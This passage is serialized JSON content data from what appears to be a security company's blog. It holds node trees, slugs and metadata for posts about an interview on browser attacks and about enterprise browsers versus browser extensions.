deType":865},{},[],{"data":33416,"content":33417,"nodeType":1869},{},[33418,33428],{"data":33419,"content":33420,"nodeType":1835},{},[33421],{"data":33422,"content":33423,"nodeType":866},{},[33424],{"data":33425,"marks":33426,"value":4915,"nodeType":865},{},[33427],{"type":961},{"data":33429,"content":33430,"nodeType":1835},{},[33431],{"data":33432,"content":33433,"nodeType":866},{},[33434],{"data":33435,"marks":33436,"value":4925,"nodeType":865},{},[],{"data":33438,"content":33439,"nodeType":1869},{},[33440,33450],{"data":33441,"content":33442,"nodeType":1835},{},[33443],{"data":33444,"content":33445,"nodeType":866},{},[33446],{"data":33447,"marks":33448,"value":4939,"nodeType":865},{},[33449],{"type":961},{"data":33451,"content":33452,"nodeType":1835},{},[33453],{"data":33454,"content":33455,"nodeType":866},{},[33456],{"data":33457,"marks":33458,"value":4949,"nodeType":865},{},[],{"data":33460,"content":33461,"nodeType":1869},{},[33462,33472],{"data":33463,"content":33464,"nodeType":1835},{},[33465],{"data":33466,"content":33467,"nodeType":866},{},[33468],{"data":33469,"marks":33470,"value":4963,"nodeType":865},{},[33471],{"type":961},{"data":33473,"content":33474,"nodeType":1835},{},[33475],{"data":33476,"content":33477,"nodeType":866},{},[33478],{"data":33479,"marks":33480,"value":4973,"nodeType":865},{},[],{"data":33482,"content":33483,"nodeType":1869},{},[33484,33494],{"data":33485,"content":33486,"nodeType":1835},{},[33487],{"data":33488,"content":33489,"nodeType":866},{},[33490],{"data":33491,"marks":33492,"value":4654,"nodeType":865},{},[33493],{"type":961},{"data":33495,"content":33496,"nodeType":1835},{},[33497],{"data":33498,"content":33499,"nodeType":866},{},[33500],{"data":33501,"marks":33502,"value":4996,"nodeType":865},{},[],{"data":33504,"content":33505,"nodeType":953},{},[],{"data":33507,"content":33508,"nodeType":866},{},[33509,33512,33518],{"data":33510,"marks":33511,"value":5006,"nodeType":865},{},[],{"data":33513,"content":33514,"nodeType":882},{"uri":1728},[33515],{"data":33516,"marks":33517,"value":2812,"nodeType":865},{},[],{"data":33519,"marks":33520,"value":21,"nodeType":865},{},[],{"items":33522},[33523,33525],{"sys":33524,"name":297},{"id":2828},{"sys":33526,"name":2825},{"id":2824},{"items":33528},[33529],{"fullName":5029,"firstName":5030,"jobTitle":3776,"profilePicture":33530},{"url":5032},{"__typename":1788,"sys":33532,"content":33533,"title":19778,"synopsis":19779,"hashTags":59,"publishedDate":19780,"slug":19781,"tagsCollection":34242,"authorsCollection":34248},{"id":15449},{"json":33534},{"data":33535,"content":33536,"nodeType":1739},{},[33537,33552,33567,33582,33587,33590,33597,33603,33609,33615,33621,33628,33631,33638,33644,33650,33656,33661,33668,33683,33689,33695,33708,33715,33739,33752,33758,33782,33789,33813,33819,33826,33841,33847,33853,33858,33864,33871,33886,33892,33908,33914,33917,33924,33930,34005,34011,34024,34027,34052,34067,34073,34079,34082,34089,34104,34110,34116,34131,34134,34141,34147,34177,34183,34198,34213,34218,34221,34227],{"data":33538,"content":33539,"nodeType":866},{},[33540,33543,33549],{"data":33541,"marks":33542,"value":18958,"nodeType":865},{},[],{"data":33544,"content":33545,"nodeType":882},{"uri":18961},[33546],{"data":33547,"marks":33548,"value":18966,"nodeType":865},{},[],{"data":33550,"marks":33551,"value":18970,"nodeType":865},{},[],{"data":33553,"content":33554,"nodeType":866},{},[33555,33558,33564],{"data":33556,"marks":33557,"value":18977,"nodeType":865},{},[],{"data":33559,"content":33560,"nodeType":882},{"uri":18980},[33561],{"data":33562,"marks":33563,"value":18985,"nodeType":865},{},[],{"data":33565,"marks":33566,"value":18989,"nodeType":865},{},[],{"data":33568,"content":33569,"nodeType":866},{},[33570,33573,33579],{"data":33571,"marks":33572,"value":18996,"nodeType":865},{},[],{"data":33574,"content":33575,"nodeType":882},{"uri":18999},[33576],{"data":33577,"marks":33578,"value":15454,"nodeType":865},{},[],{"data":33580,"marks":33581,"value":19007,"nodeType":865},{},[],{"data":33583,"content":33586,"nodeType":925},{"target":33584},{"sys":33585},{"id":19012,"type":922,"linkType":923},[],{"data":33588,"content":33589,"nodeType":953},{},[],{"data":33591,"content":33592,"nodeType":963},{},[33593],{"data":33594,"marks":33595,"value":19024,"nodeType":865},{},[33596],{"type":961},{"data":33598,"content":33599,"nodeType":866},{},[33600],{"data":33601,"marks":33602,"value":19031,"nodeType":865},{},[],{"data":33604,"content":33605,"nodeType":866},{},[33606],{"data":33607,"marks":33608,"value":19038,"nodeType":865},{},[],{"data":33610,"content":33611,"nodeType":866},{},[33612],{"data":33613,"marks":33614,"value":19045,"nodeType":865},{},[],{"data":33616,"content":33617,"nodeType":866},{},[33618],{"data":33619,"marks":33620,"value":19052,"nodeType":865},{},[],{"data":33622,"content":33623,"nodeType":866},{},[33624],{"data":33625,"marks":33626,"value":19060,"nodeType":865},{},[33627],{"type":961},{"data":33629,"content":33630,"nodeType":953},{},[],{"data":33632,"content":33633,"nodeType":963},{},[33634],{"data":33635,"marks":33636,"value":19071,"nodeType":865},{},[33637],{"type":961},{"data":33639,"content":33640,"nodeType":866},{},[33641],{"data":33642,"marks":33643,"value":19078,"nodeType":865},{},[],{"data":33645,"content":33646,"nodeType":866},{},[33647],{"data":33648,"marks":33649,"value":19085,"nodeType":865},{},[],{"data":33651,"content":33652,"nodeType":866},{},[33653],{"data":33654,"marks":33655,"value":19092,"nodeType":865},{},[],{"data":33657,"content":33660,"nodeType":925},{"target":33658},{"sys":33659},{"id":19097,"type":922,"linkType":923},[],{"data":33662,"content":33663,"nodeType":1458},{},[33664],{"data":33665,"marks":33666,"value":19106,"nodeType":865},{},[33667],{"type":961},{"data":33669,"content":33670,"nodeType":866},{},[33671,33674,33680],{"data":33672,"marks":33673,"value":19113,"nodeType":865},{},[],{"data":33675,"content":33676,"nodeType":882},{"uri":8581},[33677],{"data":33678,"marks":33679,"value":19120,"nodeType":865},{},[],{"data":33681,"marks":33682,"value":19124,"nodeType":865},{},[],{"data":33684,"content":33685,"nodeType":866},{},[33686],{"data":33687,"marks":33688,"value":19131,"nodeType":865},{},[],{"data":33690,"content":33691,"nodeType":866},{},[33692],{"data":33693,"marks":33694,"value":19138,"nodeType":865},{},[],{"data":33696,"content":33697,"nodeType":866},{},[33698,33701,33705],{"data":33699,"marks":33700,"value":19145,"nodeType":865},{},[],{"data":33702,"marks":33703,"value":19150,"nodeType":865},{},[33704],{"type":961},{"data":33706,"marks":33707,"value":19154,"nodeType":865},{},[],{"data":33709,"content":33710,"nodeType":1458},{},[33711],{"data":33712,"marks":33713,"value":19162,"nodeType":865},{},[33714],{"type":961},{"data":33716,"content":33717,"nodeType":866},{},[33718,33721,33727,33730,33736],{"data":33719,"marks":33720,"value":19169,"nodeType":865},{},[],{"data":33722,"content":33723,"nodeType":882},{"uri":10494},[33724],{"data":33725,"marks":33726,"value":19176,"nodeType":865},{},[],{"data":33728,"marks":33729,"value":19180,"nodeType":865},{},[],{"data":33731,"content":33732,"nodeType":882},{"uri":1362},[33733],{"data":33734,"marks":33735,"value":19187,"nodeType":865},{},[],{"data":33737,"marks":33738,"value":19191,"nodeType":865},{},[],{"data":33740,"content":33741,"nodeType":866},{},[33742,33745,33749],{"data":33743,"marks":33744,"value":19198,"nodeType":865},{},[],{"data":33746,"marks":33747,"value":19203,"nodeType":865},{},[33748],{"type":961},{"data":33750,"marks":33751,"value":19207,"nodeType":865},{},[],{"data":33753,"content":33754,"nodeType":866},{},[33755],{"data":33756,"marks":33757,"value":19214,"nodeType":865},{},[],{"data":33759,"content":33760,"nodeType":866},{},[33761,33764,33770,33773,33779],{"data":33762,"marks":33763,"value":19221,"nodeType":865},{},[],{"data":33765,"content":33766,"nodeType":882},{"uri":11342},[33767],{"data":33768,"marks":33769,"value":19228,"nodeType":865},{},[],{"data":33771,"marks":33772,"value":19232,"nodeType":865},{},[],{"data":33774,"content":33775,"nodeType":882},{"uri":11102},[33776],{"data":33777,"marks":33778,"value":11095,"nodeType":865},{},[],{"data":33780,"marks":33781,"value":19242,"nodeType":865},{},[],{"data":33783,"content":33784,"nodeType":1458},{},[33785],{"data":33786,"marks":33787,"value":19250,"nodeType":865},{},[33788],{"type":961},{"data":33790,"content":33791,"nodeType":866},{},[33792,33795,33801,33804,33810],{"data":33793,"marks":33794,"value":19257,"nodeType":865},{},[],{"data":33796,"content":33797,"nodeType":882},{"uri":19260},[33798],{"data":33799,"marks":33800,"value":19265,"nodeType":865},{},[],{"data":33802,"marks":33803,"value":19269,"nodeType":865},{},[],{"data":33805,"content":33806,"nodeType":882},{"uri":3009},[33807],{"data":33808,"marks":33809,"value":19276,"nodeType":865},{},[],{"data":33811,"marks":33812,"value":19280,"nodeType":865},{},[],{"data":33814,"content":33815,"nodeType":866},{},[33816],{"data":33817,"marks":33818,"value":19287,"nodeType":865},{},[],{"data":33820,"content":33821,"nodeType":1458},{},[33822],{"data":33823,"marks":33824,"value":19295,"nodeType":865},{},[33825],{"type":961},{"data":33827,"content":33828,"nodeType":866},{},[33829,33832,33838],{"data":33830,"marks":33831,"value":19302,"nodeType":865},{},[],{"data":33833,"content":33834,"nodeType":882},{"uri":1384},[33835],{"data":33836,"marks":33837,"value":19309,"nodeType":865},{},[],{"data":33839,"marks":33840,"value":19313,"nodeType":865},{},[],{"data":33842,"content":33843,"nodeType":866},{},[33844],{"data":33845,"marks":33846,"value":19320,"nodeType":865},{},[],{"data":33848,"content":33849,"nodeType":866},{},[33850],{"data":33851,"marks":33852,"value":19327,"nodeType":865},{},[],{"data":33854,"content":33857,"nodeType":925},{"target":33855},{"sys":33856},{"id":19332,"type":922,"linkType":923},[],{"data":33859,"content":33860,"nodeType":866},{},[33861],{"data":33862,"marks":33863,"value":19340,"nodeType":865},{},[],{"data":33865,"content":33866,"nodeType":1458},{},[33867],{"data":33868,"marks":33869,"value":19348,"nodeType":865},{},[33870],{"type":961},{"data":33872,"content":33873,"nodeType":866},{},[33874,33877,33883],{"data":33875,"marks":33876,"value":19355,"nodeType":865},{},[],{"data":33878,"content":33879,"nodeType":882},{"uri":4136},[33880],{"data":33881,"marks":33882,"value":19362,"nodeType":865},{},[],{"data":33884,"marks":33885,"value":19366,"nodeType":865},{},[],{"data":33887,"content":33888,"nodeType":866},{},[33889],{"data":33890,"marks":33891,"value":19373,"nodeType":865},{},[],{"data":33893,"content":33894,"nodeType":866},{},[33895,33898,33905],{"data":33896,"marks":33897,"value":19380,"nodeType":865},{},[],{"data":33899,"content":33900,"nodeType":882},{"uri":4136},[33901],{"data":33902,"marks":33903,"value":19388,"nodeType":865},{},[33904],{"type":997},{"data":33906,"marks":33907,"value":19392,"nodeType":865},{},[],{"data":33909,"content":33910,"nodeType":866},{},[33911],{"data":33912,"marks":33913,"value":19399,"nodeType":865},{},[],{"data":33915,"content":33916,"nodeType":953},{},[],{"data":33918,"content":33919,"nodeType":963},{},[33920],{"data":33921,"marks":33922,"value":19410,"nodeType":865},{},[33923],{"type":961},{"data":33925,"content":33926,"nodeType":866},{},[33927],{"data":33928,"marks":33929,"value":19417,"nodeType":865},{},[],{"data":33931,"content":33932,"nodeType":1049},{},[33933,33951,33969,33987],{"data":33934,"content":33935,"nodeType":1003},{},[33936],{"data":33937,"content":33938,"nodeType":866},{},[33939,33942,33948],{"data":33940,"marks":33941,"value":19430,"nodeType":865},{},[],{"data":33943,"content":33944,"nodeType":882},{"uri":8759},[33945],{"data":33946,"marks":33947,"value":19437,"nodeType":865},{},[],{"data":33949,"marks":33950,"value":19441,"nodeType":865},{},[],{"data":33952,"content":33953,"nodeType":1003},{},[33954],{"data":33955,"content":33956,"nodeType":866},{},[33957,33960,33966],{"data":33958,"marks":33959,"value":19451,"nodeType":865},{},[],{"data":33961,"content":33962,"nodeType":882},{"uri":19454},[33963],{"data":33964,"marks":33965,"value":19459,"nodeType":865},{},[],{"data":33967,"marks":33968,"value":19463,"nodeType":865},{},[],{"data":33970,"content":33971,"nodeType":1003},{},[33972],{"data":33973,"content":33974,"nodeType":866},{},[33975,33978,33984],{"data":33976,"marks":33977,"value":19430,"nodeType":865},{},[],{"data":33979,"content":33980,"nodeType":882},{"uri":11102},[33981],{"data":33982,"marks":33983,"value":19479,"nodeType":865},{},[],{"data":33985,"marks":33986,"value":19483,"nodeType":865},{},[],{"data":33988,"content":33989,"nodeType":1003},{},[33990],{"data":33991,"content":33992,"nodeType":866},{},[33993,33996,34002],{"data":33994,"marks":33995,"value":873,"nodeType":865},{},[],{"data":33997,"content":33998,"nodeType":882},{"uri":19495},[33999],{"data":34000,"marks":34001,"value":3909,"nodeType":865},{},[],{"data":34003,"marks":34004,"value":19503,"nodeType":865},{},[],{"data":34006,"content":34007,"nodeType":866},{},[34008],{"data":34009,"marks":34010,"value":19510,"nodeType":865},{},[],{"data":34012,"content":34013,"nodeType":866},{},[34014,34017,34021],{"data":34015,"marks":34016,"value":19517,"nodeType":865},{},[],{"data":34018,"marks":34019,"value":19522,"nodeType":865},{},[34020],{"type":961},{"data":34022,"marks":34023,"value":19526,"nodeType":865},{},[],{"data":34025,"content":34026,"nodeType":953},{},[],{"data":34028,"content":34029,"nodeType":963},{},[34030,34034,34039,34043,34048],{"data":34031,"marks":34032,"value":19537,"nodeType":865},{},[34033],{"type":961},{"data":34035,"marks":34036,"value":19543,"nodeType":865},{},[34037,34038],{"type":944},{"type":961},{"data":34040,"marks":34041,"value":19548,"nodeType":865},{},[34042],{"type":961},{"data":34044,"marks":34045,"value":19554,"nodeType":865},{},[34046,34047],{"type":944},{"type":961},{"data":34049,"marks":34050,"value":19559,"nodeType":865},{},[34051],{"type":961},{"data":34053,"content":34054,"nodeType":866},{},[34055,34058,34064],{"data":34056,"marks":34057,"value":19566,"nodeType":865},{},[],{"data":34059,"content":34060,"nodeType":882},{"uri":19569},[34061],{"data":34062,"marks":34063,"value":19574,"nodeType":865},{},[],{"data":34065,"marks":34066,"value":19578,"nodeType":865},{},[],{"data":34068,"content":34069,"nodeType":866},{},[34070],{"data":34071,"marks":34072,"value":19585,"nodeType":865},{},[],{"data":34074,"content":34075,"nodeType":866},{},[34076],{"data":34077,"marks":34078,"value":19592,"nodeType":865},{},[],{"data":34080,"content":34081,"nodeType":953},{},[],{"data":34083,"content":34084,"nodeType":963},{},[34085],{"data":34086,"marks":34087,"value":19603,"nodeType":865},{},[34088],{"type":961},{"data":34090,"content":34091,"nodeType":866},{},[34092,34095,34101],{"data":34093,"marks":34094,"value":19610,"nodeType":865},{},[],{"data":34096,"content":34097,"nodeType":882},{"uri":19613},[34098],{"data":34099,"marks":34100,"value":19618,"nodeType":865},{},[],{"data":34102,"marks":34103,"value":19622,"nodeType":865},{},[],{"data":34105,"content":34106,"nodeType":866},{},[34107],{"data":34108,"marks":34109,"value":19629,"nodeType":865},{},[],{"data":34111,"content":34112,"nodeType":866},{},[34113],{"data":34114,"marks":34115,"value":19636,"nodeType":865},{},[],{"data":34117,"content":34118,"nodeType":866},{},[34119,34122,34128],{"data":34120,"marks":34121,"value":19643,"nodeType":865},{},[],{"data":34123,"content":34124,"nodeType":882},{"uri":19646},[34125],{"data":34126,"marks":34127,"value":19618,"nodeType":865},{},[],{"data":34129,"marks":34130,"value":1048,"nodeType":865},{},[],{"data":34132,"content":34133,"nodeType":953},{},[],{"data":34135,"content":34136,"nodeType":963},{},[34137],{"data":34138,"marks":34139,"value":19664,"nodeType":865},{},[34140],{"type":961},{"data":34142,"content":34143,"nodeType":866},{},[34144],{"data":34145,"marks":34146,"value":19671,"nodeType":865},{},[],{"data":34148,"content":34149,"nodeType":1049},{},[34150,34159,34168],{"data":34151,"content":34152,"nodeType":1003},{},[34153],{"data":34154,"content":34155,"nodeType":866},{},[34156],{"data":34157,"marks":34158,"value":19684,"nodeType":865},{},[],{"data":34160,"content":34161,"nodeType":1003},{},[34162],{"data":34163,"content":34164,"nodeType":866},{},[34165],{"data":34166,"marks":34167,"value":19694,"nodeType":865},{},[],{"data":34169,"content":34170,"nodeType":1003},{},[34171],{"data":34172,"content":34173,"nodeType":866},{},[34174],{"data":34175,"marks":34176,"value":19704,"nodeType":865},{},[],{"data":34178,"content":34179,"nodeType":866},{},[34180],{"data":34181,"marks":34182,"value":19711,"nodeType":865},{},[],{"data":34184,"content":34185,"nodeType":866},{},[34186,34189,34195],{"data":34187,"marks":34188,"value":19718,"nodeType":865},{},[],{"data":34190,"content":34191,"nodeType":882},{"uri":18999},[34192],{"data":34193,"marks":34194,"value":19725,"nodeType":865},{},[],{"data":34196,"marks":34197,"value":1048,"nodeType":865},{},[],{"data":34199,"content":34200,"nodeType":866},{},[34201,34204,34210],{"data":34202,"marks":34203,"value":19735,"nodeType":865},{},[],{"data":34205,"content":34206,"nodeType":882},{"uri":5636},[34207],{"data":34208,"marks":34209,"value":19742,"nodeType":865},{},[],{"data":34211,"marks":34212,"value":19746,"nodeType":865},{},[],{"data":34214,"content":34217,"nodeType":925},{"target":34215},{"sys":34216},{"id":19751,"type":922,"linkType":923},[],{"data":34219,"content":34220,"nodeType":953},{},[],{"data":34222,"content":34223,"nodeType":866},{},[34224],{"data":34225,"marks":34226,"value":19762,"nodeType":865},{},[],{"data":34228,"content":34229,"nodeType":866},{},[34230,34233,34239],{"data":34231,"marks":34232,"value":1725,"nodeType":865},{},[],{"data":34234,"content":34235,"nodeType":882},{"uri":1728},[34236],{"data":34237,"marks":34238,"value":1734,"nodeType":865},{},[],{"data":34240,"marks":34241,"value":1738,"nodeType":865},{},[],{"items":34243},[34244,34246],{"sys":34245,"name":11426},{"id":11425},{"sys":34247,"name":342},{"id":8410},{"items":34249},[34250],{"fullName":11430,"firstName":11431,"jobTitle":11432,"profilePicture":34251},{"url":11434},"7-things-we-learned-from-matt-johansen","blog/7-things-we-learned-from-matt-johansen",{"json":34255},{"data":34256,"content":34257,"nodeType":1739},{},[34258],{"data":34259,"content":34260,"nodeType":866},{},[34261,34265,34272],{"data":34262,"marks":34263,"value":34264,"nodeType":865},{},[],"In the final installment of our ",{"data":34266,"content":34267,"nodeType":882},{"uri":29379},[34268],{"data":34269,"marks":34270,"value":34271,"nodeType":865},{},[],"State of Browser Attacks series",{"data":34273,"marks":34274,"value":34275,"nodeType":865},{},[],", Push Field CTO Mark Orlando sat down with Matt Johansen, security veteran, former Reddit security lead, and founder of the Vulnerable U newsletter, to talk about what's actually working in security and what's just theater. Here are seven takeaways from the conversation.","What we learned from sitting down with Matt Johansen to discuss the difference between security theater and security that actually works. ",{"id":34278,"publishedAt":34279},"3EM39T0mqy5DscsNSact3Z","2026-08-12T12:00:52.913Z",{"items":34281},[34282,34284],{"sys":34283,"name":297},{"id":2828},{"sys":34285,"name":2825},{"id":2824},{"items":34287},[34288,34290,34292,34294,34296,34298,34300,34302,34304,34306,34308,34310,34312,34314,34316,34318,34320,34322],{"sys":34289,"name":279,"slug":280,"tier":31},{"id":276},{"sys":34291,"name":413,"slug":414,"tier":31},{"id":410},{"sys":34293,"name":297,"slug":298,"tier":31},{"id":294},{"sys":34295,"name":519,"slug":520,"tier":31},{"id":516},{"sys":34297,"name":261,"slug":262,"tier":45},{"id":258},{"sys":34299,"name":315,"slug":316,"tier":45},{"id":312},{"sys":34301,"name":466,"slug":467,"tier":45},{"id":463},{"sys":34303,"name":511,"slug":512,"tier":45},{"id":508},{"sys":34305,"name":571,"slug":572,"tier":45},{"id":568},{"sys":34307,"name":360,"slug":361,"tier":45},{"id":357},{"sys":34309,"name":288,"slug":289,"tier":45},{"id":285},{"sys":34311,"name":607,"slug":608,"tier":45},{"id":604},{"sys":34313,"name":554,"slug":555,"tier":45},{"id":551},{"sys":34315,"name":457,"slug":458,"tier":45},{"id":454},{"sys":34317,"name":484,"slug":485,"tier":45},{"id":481},{"sys":34319,"name":333,"slug":334,"tier":45},{"id":330},{"sys":34321,"name":422,"slug":423,"tier":45},{"id":419},{"sys":34323,"name":244,"slug":245,"tier":45},{"id":241},"AunB53ENgDXpGtfck0wVIWIMH2JNgreFpn5xEkZdVmo",{"id":34326,"title":27203,"authorsCollection":34327,"content":34332,"extension":228,"faqItemsCollection":34947,"faqTitle":59,"featured":6,"hashTags":59,"meta":34949,"metaTitle":34950,"ogImage":59,"postType":1783,"publishedDate":27205,"relatedBlogPostsCollection":34951,"slug":27206,"stem":37398,"subtitle":59,"summary":37399,"synopsis":27204,"sys":37410,"tagsCollection":37412,"topicsCollection":37418,"__hash__":37444},"blog/blog/enterprise-browser-vs-browser-extension-which-should-your-security-team-choose.json",{"items":34328},[34329],{"fullName":5029,"firstName":5030,"jobTitle":3776,"socialLinks":34330,"profilePicture":34331},[25179],{"url":5032},{"json":34333,"links":34920},{"data":34334,"content":34335,"nodeType":1739},{},[34336,34342,34348,34367,34373,34379,34385,34388,34395,34401,34417,34423,34429,34471,34477,34484,34490,34496,34502,34505,34512,34518,34528,34534,34541,34557,34562,34595,34600,34606,34616,34621,34627,34642,34649,34655,34671,34676,34683,34689,34820,34823,34830,34836,34842,34845,34852,34858,34868,34878,34888,34898,34904],{"data":34337,"content":34338,"nodeType":866},{},[34339],{"data":34340,"marks":34341,"value":26533,"nodeType":865},{},[],{"data":34343,"content":34344,"nodeType":866},{},[34345],{"data":34346,"marks":34347,"value":26540,"nodeType":865},{},[],{"data":34349,"content":34350,"nodeType":11214},{},[34351],{"data":34352,"content":34353,"nodeType":866},{},[34354,34357,34364],{"data":34355,"marks":34356,"value":26550,"nodeType":865},{},[],{"data":34358,"content":34359,"nodeType":882},{"uri":4378},[34360],{"data":34361,"marks":34362,"value":26558,"nodeType":865},{},[34363],{"type":997},{"data":34365,"marks":34366,"value":26562,"nodeType":865},{},[],{"data":34368,"content":34369,"nodeType":866},{},[34370],{"data":34371,"marks":34372,"value":26569,"nodeType":865},{},[],{"data":34374,"content":34375,"nodeType":866},{},[34376],{"data":34377,"marks":34378,"value":26576,"nodeType":865},{},[],{"data":34380,"content":34381,"nodeType":866},{},[34382],{"data":34383,"marks":34384,"value":26583,"nodeType":865},{},[],{"data":34386,"content":34387,"nodeType":953},{},[],{"data":34389,"content":34390,"nodeType":963},{},[34391],{"data":34392,"marks":34393,"value":26594,"nodeType":865},{},[34394],{"type":961},{"data":34396,"content":34397,"nodeType":866},{},[34398],{"data":34399,"marks":34400,"value":26601,"nodeType":865},{},[],{"data":34402,"content":34403,"nodeType":11214},{},[34404],{"data":34405,"content":34406,"nodeType":866},{},[34407,34410,34414],{"data":34408,"marks":34409,"value":26611,"nodeType":865},{},[],{"data":34411,"marks":34412,"value":26616,"nodeType":865},{},[34413],{"type":944},{"data":34415,"marks":34416,"value":3230,"nodeType":865},{},[],{"data":34418,"content":34419,"nodeType":866},{},[34420],{"data":34421,"marks":34422,"value":26626,"nodeType":865},{},[],{"data":34424,"content":34425,"nodeType":866},{},[34426],{"data":34427,"marks":34428,"value":26633,"nodeType":865},{},[],{"data":34430,"content":34431,"nodeType":1049},{},[34432,34445,34458],{"data":34433,"content":34434,"nodeType":1003},{},[34435],{"data":34436,"content":34437,"nodeType":866},{},[34438,34442],{"data":34439,"marks":34440,"value":26647,"nodeType":865},{},[34441],{"type":961},{"data":34443,"marks":34444,"value":26651,"nodeType":865},{},[],{"data":34446,"content":34447,"nodeType":1003},{},[34448],{"data":34449,"content":34450,"nodeType":866},{},[34451,34455],{"data":34452,"marks":34453,"value":26662,"nodeType":865},{},[34454],{"type":961},{"data":34456,"marks":34457,"value":26666,"nodeType":865},{},[],{"data":34459,"content":34460,"nodeType":1003},{},[34461],{"data":34462,"content":34463,"nodeType":866},{},[34464,34468],{"data":34465,"marks":34466,"value":26677,"nodeType":865},{},[34467],{"type":961},{"data":34469,"marks":34470,"value":26681,"nodeType":865},{},[],{"data":34472,"content":34473,"nodeType":866},{},[34474],{"data":34475,"marks":34476,"value":26688,"nodeType":865},{},[],{"data":34478,"content":34479,"nodeType":1458},{},[34480],{"data":34481,"marks":34482,"value":26696,"nodeType":865},{},[34483],{"type":961},{"data":34485,"content":34486,"nodeType":866},{},[34487],{"data":34488,"marks":34489,"value":26703,"nodeType":865},{},[],{"data":34491,"content":34492,"nodeType":866},{},[34493],{"data":34494,"marks":34495,"value":26710,"nodeType":865},{},[],{"data":34497,"content":34498,"nodeType":866},{},[34499],{"data":34500,"marks":34501,"value":26717,"nodeType":865},{},[],{"data":34503,"content":34504,"nodeType":953},{},[],{"data":34506,"content":34507,"nodeType":963},{},[34508],{"data":34509,"marks":34510,"value":26728,"nodeType":865},{},[34511],{"type":961},{"data":34513,"content":34514,"nodeType":866},{},[34515],{"data":34516,"marks":34517,"value":26735,"nodeType":865},{},[],{"data":34519,"content":34520,"nodeType":866},{},[34521,34524],{"data":34522,"marks":34523,"value":26742,"nodeType":865},{},[],{"data":34525,"marks":34526,"value":26747,"nodeType":865},{},[34527],{"type":944},{"data":34529,"content":34530,"nodeType":866},{},[34531],{"data":34532,"marks":34533,"value":26754,"nodeType":865},{},[],{"data":34535,"content":34536,"nodeType":1458},{},[34537],{"data":34538,"marks":34539,"value":26762,"nodeType":865},{},[34540],{"type":961},{"data":34542,"content":34543,"nodeType":866},{},[34544,34547,34554],{"data":34545,"marks":34546,"value":26769,"nodeType":865},{},[],{"data":34548,"content":34549,"nodeType":882},{"uri":5636},[34550],{"data":34551,"marks":34552,"value":26777,"nodeType":865},{},[34553],{"type":997},{"data":34555,"marks":34556,"value":22525,"nodeType":865},{},[],{"data":34558,"content":34561,"nodeType":925},{"target":34559},{"sys":34560},{"id":26785,"type":922,"linkType":923},[],{"data":34563,"content":34564,"nodeType":866},{},[34565,34568,34575,34578,34582,34585,34592],{"data":34566,"marks":34567,"value":26793,"nodeType":865},{},[],{"data":34569,"content":34570,"nodeType":882},{"uri":18999},[34571],{"data":34572,"marks":34573,"value":26801,"nodeType":865},{},[34574],{"type":997},{"data":34576,"marks":34577,"value":26805,"nodeType":865},{},[],{"data":34579,"marks":34580,"value":26810,"nodeType":865},{},[34581],{"type":961},{"data":34583,"marks":34584,"value":26814,"nodeType":865},{},[],{"data":34586,"content":34587,"nodeType":882},{"uri":8870},[34588],{"data":34589,"marks":34590,"value":26822,"nodeType":865},{},[34591],{"type":997},{"data":34593,"marks":34594,"value":22525,"nodeType":865},{},[],{"data":34596,"content":34599,"nodeType":925},{"target":34597},{"sys":34598},{"id":26830,"type":922,"linkType":923},[],{"data":34601,"content":34602,"nodeType":866},{},[34603],{"data":34604,"marks":34605,"value":26838,"nodeType":865},{},[],{"data":34607,"content":34608,"nodeType":866},{},[34609,34612],{"data":34610,"marks":34611,"value":26845,"nodeType":865},{},[],{"data":34613,"marks":34614,"value":26850,"nodeType":865},{},[34615],{"type":961},{"data":34617,"content":34620,"nodeType":925},{"target":34618},{"sys":34619},{"id":26855,"type":922,"linkType":923},[],{"data":34622,"content":34623,"nodeType":866},{},[34624],{"data":34625,"marks":34626,"value":26863,"nodeType":865},{},[],{"data":34628,"content":34629,"nodeType":866},{},[34630,34633,34639],{"data":34631,"marks":34632,"value":873,"nodeType":865},{},[],{"data":34634,"content":34635,"nodeType":882},{"uri":25940},[34636],{"data":34637,"marks":34638,"value":26876,"nodeType":865},{},[],{"data":34640,"marks":34641,"value":26880,"nodeType":865},{},[],{"data":34643,"content":34644,"nodeType":1458},{},[34645],{"data":34646,"marks":34647,"value":26888,"nodeType":865},{},[34648],{"type":961},{"data":34650,"content":34651,"nodeType":866},{},[34652],{"data":34653,"marks":34654,"value":26895,"nodeType":865},{},[],{"data":34656,"content":34657,"nodeType":866},{},[34658,34661,34668],{"data":34659,"marks":34660,"value":26902,"nodeType":865},{},[],{"data":34662,"content":34663,"nodeType":882},{"uri":26050},[34664],{"data":34665,"marks":34666,"value":26910,"nodeType":865},{},[34667],{"type":997},{"data":34669,"marks":34670,"value":26914,"nodeType":865},{},[],{"data":34672,"content":34675,"nodeType":925},{"target":34673},{"sys":34674},{"id":26919,"type":922,"linkType":923},[],{"data":34677,"content":34678,"nodeType":1458},{},[34679],{"data":34680,"marks":34681,"value":26928,"nodeType":865},{},[34682],{"type":961},{"data":34684,"content":34685,"nodeType":866},{},[34686],{"data":34687,"marks":34688,"value":26935,"nodeType":865},{},[],{"data":34690,"content":34691,"nodeType":1049},{},[34692,34732,34763,34794,34807],{"data":34693,"content":34694,"nodeType":1003},{},[34695],{"data":34696,"content":34697,"nodeType":866},{},[34698,34702,34705,34711,34714,34720,34723,34729],{"data":34699,"marks":34700,"value":26949,"nodeType":865},{},[34701],{"type":961},{"data":34703,"marks":34704,"value":26953,"nodeType":865},{},[],{"data":34706,"content":34707,"nodeType":882},{"uri":11102},[34708],{"data":34709,"marks":34710,"value":11095,"nodeType":865},{},[],{"data":34712,"marks":34713,"value":26083,"nodeType":865},{},[],{"data":34715,"content":34716,"nodeType":882},{"uri":11342},[34717],{"data":34718,"marks":34719,"value":26969,"nodeType":865},{},[],{"data":34721,"marks":34722,"value":26973,"nodeType":865},{},[],{"data":34724,"content":34725,"nodeType":882},{"uri":3620},[34726],{"data":34727,"marks":34728,"value":15454,"nodeType":865},{},[],{"data":34730,"marks":34731,"value":26983,"nodeType":865},{},[],{"data":34733,"content":34734,"nodeType":1003},{},[34735],{"data":34736,"content":34737,"nodeType":866},{},[34738,34742,34745,34751,34754,34760],{"data":34739,"marks":34740,"value":26994,"nodeType":865},{},[34741],{"type":961},{"data":34743,"marks":34744,"value":26998,"nodeType":865},{},[],{"data":34746,"content":34747,"nodeType":882},{"uri":3643},[34748],{"data":34749,"marks":34750,"value":3649,"nodeType":865},{},[],{"data":34752,"marks":34753,"value":27008,"nodeType":865},{},[],{"data":34755,"content":34756,"nodeType":882},{"uri":27011},[34757],{"data":34758,"marks":34759,"value":27016,"nodeType":865},{},[],{"data":34761,"marks":34762,"value":27020,"nodeType":865},{},[],{"data":34764,"content":34765,"nodeType":1003},{},[34766],{"data"